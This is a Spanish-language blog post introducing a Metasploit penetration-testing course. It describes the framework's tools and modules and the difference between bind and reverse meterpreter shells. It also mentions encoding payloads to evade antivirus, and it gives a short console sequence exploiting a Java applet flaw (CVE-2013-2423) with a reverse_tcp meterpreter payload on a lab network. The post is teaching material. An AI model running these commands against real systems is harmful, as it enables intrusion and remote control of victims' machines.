Tienda Wifi

Tienda Wifi
CiudadWireless es la tienda Wifi recomendada por elhacker.NET

Buscador

Entradas Mensuales

Suscripción

¿Quieres recibir las últimas novedades del blog en tu correo?

¡Suscríbete al feed!

Foro de elhacker.net - Noticias

elhacker.NET en Facebook

Entradas populares

PostHeaderIcon Curso y Manual de Metasploit Framework




Metasploit es un “Framework” para realizar test de intrusión desarrollado por Rapid 7. Existen 3 versiones de Metasploit, entre ellas la “Community Edition” sobre la que vamos a basar este módulo






Metasploit incorpora un “set” de herramientas (exploits, scanners, payloads, etc) que cubren perfectamente todas las fases de un test de intrusión (pentest), desde la adquisición de información y reconocimiento, hasta el descubrimiento de vulnerabilidades, su explotación y post explotación.

En este documento vamos a intentar mostrar el funcionamiento de esta herramienta mediante la realización de ejemplos prácticos. Para la realización de dichos ejemplos, se empleará una distribución Linux llamada “Kali Linux” o su predecesora “BackTrack 5r3”.

A día de hoy, Metasploit se considera la verdadera “navaja suiza del Pentester”.

Metasploit proporciona interfaces de línea de comandos, gráficas y web con más de 300 módulos de exploit a lo largo de una extensa variedad de programas, servicios y sistemas operativos.

Seguidamente podemos ir al directorio en el que se encuentra instalado Metasploit y ejecutar la consola basada en texto (msfconsole), la interfaz web (msfweb), o la interfaz gráfica (msfgui).

Metasploit consta de varias herramientas distintas:

  • msfconsole. Consola de Metasploit.
  • msfcli. Nos permite ejecutar módulos directamente sin entrar en la consola.
  • msfpayload. Para generar payloads.
  • msfencode. Permite codificar los payloads para quitar null bytes por ejemplo.
  • msfvenom. Combinación de msfpayload y msfencode en una sola herramienta.
Actualización 2016:

Metasploit es un proyecto open source de seguridad informática que proporciona información acerca de vulnerabilidades de seguridad y resulta muy útil durante los tests de penetración o pentesting. El proyecto más conocido es el Metasploit Framework, una herramienta para desarrollar y ejecutar exploits (fragmento de software, fragmento de datos o secuencia de comandos y/o acciones utilizada con el fin de aprovechar una vulnerabilidad de seguridad de un sistema de información) contra una máquina remota. Otras de las funcionalidades de esta herramienta son: base de datos de payload, herramientas para recolectar información y escanear en busca de vulnerabilidades.

Los pasos básicos a seguir para explotar vulnerabilidades usando Metasploit son:


  • Elegir y configurar el exploit (como hemos dicho, código que permite explotar la vulnerabilidad de un sistema). 
  • Confirmar si el objetivo es susceptible al exploit elegido (este paso es opcional). 
  • Elegir y configurar el payload (código que se ejecuta una vez explotemos la vulnerabilidad). 
  • Elegir la técnica de encode o codificación para que el payload no sea detectados por los elementos de seguridad del equipo (también es opcional aunque recomendable). 
  • Ejecutar el exploit. 
Para la realización de éstas y otras acciones, metasploit incorpora las siguientes herramientas:


  • msfconsole: línea de comandos de Metasploit. 
  • msfcli: interfaz que permite lanzar un módulo concreto mediante su configuración en la misma ejecución de la aplicación. 
  • msfgui: interfaz gráfica de Metasploit. 
  • msfd: servicio que queda a la escucha de recibir conexiones para ofrecer una línea de comandos en remoto. 
  • msfbinscan: permite realizar búsquedas en ejecutables de instrucciones de salto, instrucciones POP,... 
  • msfpescan: permite realizar un análisis sobre DLLs y obtener la dirección de retorno deseada para que la shellcode se ejecute. 
  • msfpayload: permite generar payloads en distintos lenguajes de programación, pudiendo embeberlos en ejecutables Windows o binarios de UNIX. 
  • msfencode: permite ofuscar el código del payload para evitar su detección. 
  • msfvenom: es la unión de msfpayload y msfencode. 
  • msfupdate: se utiliza para actualizar el framework. 


Además de estas herramientas, metasploit se compone de distintos módulos. Estos módulos son:


  • Módulo auxiliary: permite la interacción de herramientas externas, como pueden ser escaners de vulnerabilidades, sniffers,... 
  • Módulo encoders: nos proporciona los diferentes algoritmos para codificar y ofuscar los payloads. 
  • Módulo exploits: aquí se encuentran todos los exploits disponibles en el framework. 
  • Módulo payloads: multitud de códigos que se ejecutan una vez tenga éxito el exploit. 
  • Módulo post: funcionalidades para la fase de post explotación durante un pentesting. 
  • Módulo nops: permite realizar u obtener operaciones nop. 


Una vez realizada una introducción sobre la herramienta, vamos a pasar a comentar la prueba de concepto que se va a realizar. La idea es, generar un payload que tras ser ejecutado en la máquina víctima, nos genere una shell meterpreter (explicaremos más adelante qué es) en la máquina atacante. Para ello, tenemos el siguientes escenario:


  • Máquina Victima con sistema operativo Windows 7 y dirección IP 192.168.0.202 Para ahorrarnos tiempo, tendremos el antivirus desactivado, por lo que no realizaremos la fase de encode. 
  • Máquina Atacante con Kali Linux 2 y direccion IP, dentro de la misma red, 192.168.0.192. 

Dentro de la opción de meterpreter, existen distintas formas de generar la conexión divididas, básicamente, en dos tipos:

  • Bind (o directa): con esta opción, una vez ejecutado el payload en el equipo de la víctima, desde éste se emite una "señal" al atacante para realizar la conexión, siendo éste último quien la efectúa; es decir, es el atacante quien realiza la conexión contra el equipo de víctima. El problema de utilizar este tipo de paylaod es que, en la mayoría de los casos, las reglas definidas para los Firewalls entrantes pueden bloquear el tráfico (se tiene más miedo de lo que entra que de lo que sale), por lo que es posible que esta conexión no llegue a establecerse. 
  • Reverse (o inversa): en este caso, una vez ejecutado el payload en el equipo de la víctima, es éste quien realiza la conexión contra el equipo del atacante. Estos casos suelen tener más éxito debido a que la configuración de las reglas en los Firewalls de salida suelen ser más laxas. 

  • Índice
  • Changelog. 
  • Introducción. 
  • Fases de un test de intrusión.
  • Comenzando a utilizar Metasploit.
  • Conectar Metasploit a una base de datos.
  • Exploits más utilizados en servidores.
  • Exploits “client side”.
  • Post-­-Explotación.
  • Modificación de exploits en Metasploit.
  • Bypass de antivirus con Metasploit
  • Automatización de tareas en Metasploit.
  • Referencias.




Ejecutando nmap desde  MSFconsole


#msf > db_nmap -sS -A 192.168.0.2
#msf > db_services
Ortros scanners de puertos:

#msf > search portscan

 

 Ejemplo CVE-2013-2423 Java 7u17 Applet RCE Metasploit Demo


use exploit/multi/browser/java_jre17_reflection_types
set SRVHOST 192.168.178.36
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit

getuid
sysinfo


6 comentarios :

Fernando dijo...

Gracias por el aporte. Una question, además de los pdf´s ¿es este el comienzo de un curso de metasploit? porque si es así sería great.

el-brujo dijo...

No, lo siento. El curso son los ficheros pdf's. :P

Fernando dijo...

Ok, gracias. De todos modos si alguien sabe de una buena serie de tutoriales para aprender a manejarse con metasploit le quedaria agradecido si me pasara los links.
Un saludo.

JaNsI Requejo dijo...

es un buen aporte, gracias por tomarte el tiempo y compartirlo. muchas gracias otra vez.

Formación Online dijo...

Muy bueno, lo incluiré en mi portal.

Un saludo :D

Kira Yagami dijo...

Muchas gracias por el aporte, apenas comienzo a usar Kali Linux =D

Publicar un comentario en la entrada

Los comentarios pueden ser revisados en cualquier momento por los moderadores.

Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.

Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.